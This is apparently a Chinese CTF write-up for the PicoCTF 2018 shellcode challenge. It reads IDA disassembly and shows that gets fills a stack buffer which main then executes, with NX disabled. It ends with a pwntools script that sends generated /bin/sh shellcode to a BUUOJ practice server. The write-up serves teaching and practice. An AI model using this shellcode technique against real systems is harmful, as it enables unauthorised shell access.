常规检查
看题目提示就知道是 shellcode 题,看保护,果然 NX 防护没开启,这就意味着栈上的代码是可以执行的。
逆向分析
文件函数众多,而且不能 ida f5 直接反编译,那只好手撸汇编代码
.text:080488A1 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080488A1 public main
.text:080488A1 main proc near ; DATA XREF: _start+17o
.text:080488A1
.text:080488A1 var_A0 = byte ptr -0A0h
.text:080488A1 var_C = dword ptr -0Ch
.text:080488A1 var_4 = dword ptr -4
.text:080488A1 argc = dword ptr 0Ch
.text:080488A1 argv = dword ptr 10h
.text:080488A1 envp = dword ptr 14h
.text:080488A1
.text:080488A1 lea ecx, [esp+4]
.text:080488A5 and esp, 0FFFFFFF0h
.text:080488A8 push dword ptr [ecx-4]
.text:080488AB push ebp
.text:080488AC mov ebp, esp
.text:080488AE push ecx
.text:080488AF sub esp, 0A4h
.text:080488B5 mov eax, stdout
.text:080488BA push 0
.text:080488BC push 2
.text:080488BE push 0
.text:080488C0 push eax
.text:080488C1 call setvbuf
.text:080488C6 add esp, 10h
.text:080488C9 call getegid
.text:080488CE mov [ebp+var_C], eax
.text:080488D1 sub esp, 4
.text:080488D4 push [ebp+var_C]
.text:080488D7 push [ebp+var_C]
.text:080488DA push [ebp+var_C]
.text:080488DD call setresgid
.text:080488E2 add esp, 10h
.text:080488E5 sub esp, 0Ch
.text:080488E8 push offset aEnterAString ; "Enter a string!"
.text:080488ED call puts
.text:080488F2 add esp, 10h
.text:080488F5 sub esp, 0Ch
.text:080488F8 lea eax, [ebp+var_A0]
.text:080488FE push eax
.text:080488FF call vuln
.text:08048904 add esp, 10h
.text:08048907 sub esp, 0Ch
.text:0804890A push offset aThanksExecutin ; "Thanks! Executing now..."
.text:0804890F call puts
.text:08048914 add esp, 10h
.text:08048917 lea eax, [ebp+var_A0]
.text:0804891D call eax
.text:0804891F mov eax, 0
.text:08048924 mov ecx, [ebp+var_4]
.text:08048927 leave
.text:08048928 lea esp, [ecx-4]
.text:0804892B retn
.text:0804892B main endp
直接从数据流分析,主函数有两个可疑点,分别是 080488FF call vuln 与 0804891D call eax 。一般的函数调用不会出现 call eax ,这里说明了 eax 在之前肯定被赋予了某部分的地址。至于 vuln ,多做 ctf 题就知道这种起名的函数一般是漏洞函数。 我们点进去看看
.text:0804887C ; Attributes: bp-based frame
.text:0804887C
.text:0804887C public vuln
.text:0804887C vuln proc near ; CODE XREF: main+5Ep
.text:0804887C
.text:0804887C arg_0 = dword ptr 8
.text:0804887C
.text:0804887C push ebp
.text:0804887D mov ebp, esp
.text:0804887F sub esp, 8
.text:08048882 sub esp, 0Ch
.text:08048885 push [ebp+arg_0]
.text:08048888 call gets
.text:0804888D add esp, 10h
.text:08048890 sub esp, 0Ch
.text:08048893 push [ebp+arg_0]
.text:08048896 call puts
.text:0804889B add esp, 10h
.text:0804889E nop
.text:0804889F leave
.text:080488A0 retn
.text:080488A0 vuln endp
注意到 vuln 中有 gets 函数的调用。他的参数是 ebp+arg_0 对应的地址,也就是在返回地址上一栈内存单元处,对应主函数中,我们可以看到
.text:080488F8 lea eax, [ebp+var_A0]
.text:080488FE push eax
.text:080488FF call vuln
gets 函数写入的地址即为 [ebp+var_A0] 对应的地址,同时我们注意到
.text:08048917 lea eax, [ebp+var_A0]
.text:0804891D call eax
call 的地址即为 [ebp+var_A0] 所指向的地址
利用思路
到这里思路就很明显了,我们先输入的内容会被 get 读取,存到内存 [ebp+var_A0] 中,然后在函数在后面的时候,会调用这一部分内容。所以我们只要写入 shellcode ,函数后面就会调用 shellcode 。至于 [ebp+var_A0] 是指向哪里 ,我们可以看到 main 函数中没有 offset 变量,所以这 [ebp+var_A0] 指的是局部变量,那就是在栈中,而 nx 保护没有开启,所以 shellcode 在栈上也可以执行。
from pwn import *
io =remote('node3.buuoj.cn',29911)
context.binary = 'PicoCTF_2018_shellcode'
shellcode = asm(shellcraft.sh())#可以自动生成二进制文件对应架构的 shellcode
io.sendline(shellcode)
io.interactive()